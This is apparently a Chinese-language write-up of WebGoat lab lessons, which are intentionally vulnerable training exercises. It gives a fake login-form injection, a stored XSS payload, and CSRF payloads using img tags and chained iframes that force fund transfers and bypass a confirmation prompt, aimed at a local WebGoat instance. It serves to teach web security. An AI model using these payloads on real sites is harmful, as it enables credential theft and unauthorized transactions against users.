<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
Stage 1: Stored XSS
进入tom的编辑页面,将任意输入框中的数据改为<script>alert(/xss/);</script>并保存,使用jerry的账号登录,访问tom的编辑页面
<script>alert(/xss/)</script>
CSRF
stage 2
原链接:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900
构造后:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=4000
构造img:
![](http://localhost/WebGoat/attack?Screen=128&menu=900&transferFunds=4000)
绕过 CSRF 确认( CSRF Prompt By‐Pass)
转账请求需要用户确认,通过构造多个请求,绕过用户确认环节。第二个请求必须在第一个请求结束后被载入。所以需要添加javascript 以实现在第一个请求结束后自动载入第二个:在第一个frame 的属性中添
加onload 参数,设置src 为第二个frame。
<iframe
src="http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=400"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
效果如图:
TIM截图20170713111914.png
上图第一个frame 显示了用户确认信息,这是第一位早的请求所触发的结果。第二个
frame 显示的是伪造的确认请求触发的结果:4000 美元已经成功转账。刷新页面,完成根据
本节课程。
事实上,在真实的攻击中以上信息将被隐藏。点击"restart this lesson"后再次对网站发起
攻击,本次攻击尝试使用隐蔽或非常小的frames 实现攻击信息隐藏。
![](http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&menu=210&transferFunds=5000)
<img id="image2" width="1" height="1" />
对于开发者来说限制CSRF 的一种方法是只允许通过HTTP POST 提交参数。该方式将屏蔽通过iframe 和images 方式发起的攻击,但对JavaScript 中的XmlHTTpRequest 无效。由于额外的信任,您可以尝试通过XmlHTTpRequest发起基于POST 的攻击。
网友评论